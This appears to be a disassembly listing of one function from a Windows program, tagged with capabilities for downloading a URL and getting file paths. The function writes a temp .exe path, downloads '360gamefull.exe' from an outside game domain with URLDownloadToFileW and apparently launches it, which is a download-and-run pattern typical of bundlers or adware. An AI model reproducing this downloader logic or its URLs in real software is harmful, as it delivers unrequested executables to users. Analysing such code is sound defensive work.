Function at 0x40aa7a
Capabilities:
Download url
Get common file path
Receive data

Disassembly:
push 0x43c
mov eax, 0x43ba11
call fcn.00423093
mov ebx, ecx
mov dword [ebp - 0x448], ebx
cmp dword [0x45f4a0], 0
jne 0x40aac1
xor edx, edx
mov ecx, str.click_typeextgame_exeFcalled
call fcn.00414efb
mov eax, dword [0x4612f0]
mov ecx, dword [0x45f4a0]
push 1
cmp dword [eax - 0xc], 0
pop eax
cmovne ecx, eax
mov dword [0x45f4a0], ecx
cmp dword [0x45c624], 8
mov eax, 0x45c610
push str._force_
cmovae eax, dword [0x45c610]
push eax
call fcn.0041ffa7
pop ecx
xor esi, esi
pop ecx
test eax, eax
jne 0x40aaf4
call fcn.0040b950
test al, al
je 0x40abf5
call fcn.004083ea
push eax
lea ecx, [ebp - 0x43c]
call fcn.00407e3b
mov dword [ebp - 4], esi
mov ecx, dword [0x4612f0]
lea ecx, [ecx - 0x10]
call fcn.004080e8
lea edi, [eax + 0x10]
mov dword [ebp - 0x444], edi
xor eax, eax
push 0x448fc0
inc eax
push edi
mov byte [ebp - 4], al
lea eax, [ebp - 0x43c]
push str.http:__v5.360game.360.cn_v8_app_uninstall_mid_scver_s
push eax
call fcn.0040a280
mov eax, dword [ebp - 0x43c]
add esp, 0xc
add eax, 0xfffffff0
mov ebx, esp
mov ecx, eax
mov dword [ebp - 0x440], eax
call fcn.004080e8
add eax, 0x10
mov dword [ebx], eax
call fcn.00415e65
mov ebx, eax
call fcn.00415bdc
cmp ebx, eax
jge 0x40abd8
push str.click_typestopactF
lea ecx, [ebp - 0x438]
call fcn.00404345
push 0xffffffffffffffff
push esi
push 0x45c610
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 2
call fcn.0040b8aa
cmp dword [ebp - 0x424], 8
lea ecx, [ebp - 0x438]
cmovae ecx, dword [ebp - 0x438]
xor edx, edx
call fcn.00414efb
xor eax, eax
lea ecx, [ebp - 0x438]
push esi
inc eax
push eax
call fcn.0040439c
lea ecx, [edi - 0x10]
call fcn.0040233b
mov ecx, dword [ebp - 0x440]
call fcn.0040233b
xor eax, eax
jmp 0x40aeb1
lea ecx, [edi - 0x10]
call fcn.0040233b
mov ecx, dword [ebp - 0x440]
or dword [ebp - 4], 0xffffffff
call fcn.0040233b
mov ebx, dword [ebp - 0x448]
cmp dword [0x45e844], 0
je 0x40adcb
xor eax, eax
mov edi, 0x206
push edi
mov word [ebp - 0x420], ax
lea eax, [ebp - 0x41e]
push esi
push eax
call fcn.00422860
add esp, 0xc
xor eax, eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push edi
push esi
push eax
call fcn.00422860
add esp, 0xc
lea eax, [ebp - 0x420]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
push eax
push esi
push str.GFULL_
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push str..exe
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.00420c8a
add esp, 0xc
xor edx, edx
mov ecx, str.click_typeextgame_exeFinst_download
call fcn.00414efb
push esi
push esi
lea eax, [ebp - 0x218]
push eax
push str.https:__yxdt.game.keniub.com_newchrome_360gamefull.exe
push esi
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x40abd1
call fcn.004083ea
push eax
lea ecx, [ebp - 0x43c]
call fcn.00407e3b
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 3
push eax
lea eax, [ebp - 0x43c]
push str.__s___G
push eax
call fcn.0040a280
add esp, 0xc
cmp dword [0x45e840], 0
je 0x40ad0e
cmp dword [0x45c63c], 8
mov edi, 0x45c628
cmovae edi, dword [0x45c628]
mov ecx, edi
call fcn.004080cc
push eax
push edi
lea ecx, [ebp - 0x43c]
call fcn.00407faf
jmp 0x40ad23
push ebx
lea eax, [ebp - 0x43c]
push 0x44916c
push eax
call fcn.0040a2d8
add esp, 0xc
push 0x493e0
xor edx, edx
lea ecx, [ebp - 0x43c]
call fcn.0040dfd1
mov edi, dword [ebp - 0x43c]
mov dword [esp], str._action:open
push edi
call fcn.0041ffa7
pop ecx
pop ecx
test eax, eax
jne 0x40ad5f
push str._actionopen
push edi
call fcn.0041ffa7
pop ecx
pop ecx
test eax, eax
je 0x40adbe
cmp dword [0x45c620], 0
je 0x40adbe
push str.click_typeextgame_exeFact_
lea ecx, [ebp - 0x438]
call fcn.00404345
push 0xffffffffffffffff
push esi
push 0x45c610
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 4
call fcn.0040b8aa
cmp dword [ebp - 0x424], 8
lea ecx, [ebp - 0x438]
cmovae ecx, dword [ebp - 0x438]
xor edx, edx
call fcn.00414efb
xor eax, eax
mov byte [ebp - 4], 3
push esi
inc eax
lea ecx, [ebp - 0x438]
push eax
call fcn.0040439c
call fcn.0041128a
lea ecx, [edi - 0x10]
jmp 0x40abcc
call fcn.0040e04a
mov ecx, eax
call fcn.0040f3f4
test eax, eax
je 0x40abd1
cmp dword [0x45f490], 0
je 0x40adf4
call fcn.0040e04a
mov ecx, eax
call fcn.0040fcd2
call fcn.0040a780
push dword [ebp - 0x444]
movdqa xmm0, xmmword [0x44b3e0]
mov edi, eax
movdqu xmmword [ebp - 0x430], xmm0
lea ecx, [edi + 0x20]
push ecx
push 0x45c660
call fcn.004196fa
add esp, 8
movzx eax, ax
push eax
push esi
push esi
push 0x56000000
push esi
lea eax, [ebp - 0x430]
push eax
push ecx
mov ecx, edi
call fcn.004195ea
cmp dword [0x4525f8], 0
je 0x40ae6f
call fcn.0040e04a
mov eax, dword [eax + 0x14ac]
test eax, eax
jne 0x40ae63
call fcn.0040a780
push esi
push esi
push 0x405
jmp 0x40aea5
cmp eax, 1
je 0x40ae55
cmp eax, 2
jne 0x40aeae
jmp 0x40ae55
cmp dword [0x45f494], 0
jne 0x40aeae
cmp dword [0x45f490], 0
je 0x40ae99
call fcn.0040e04a
mov ecx, eax
call fcn.0040fec9
call fcn.0040e04a
call fcn.0041273a
jmp 0x40aeae
call fcn.0040a780
push esi
push esi
push 0x401
push dword [eax + 4]
call dword [sym.imp.USER32.dll_PostMessageW]
xor eax, eax
inc eax
call fcn.00423042
ret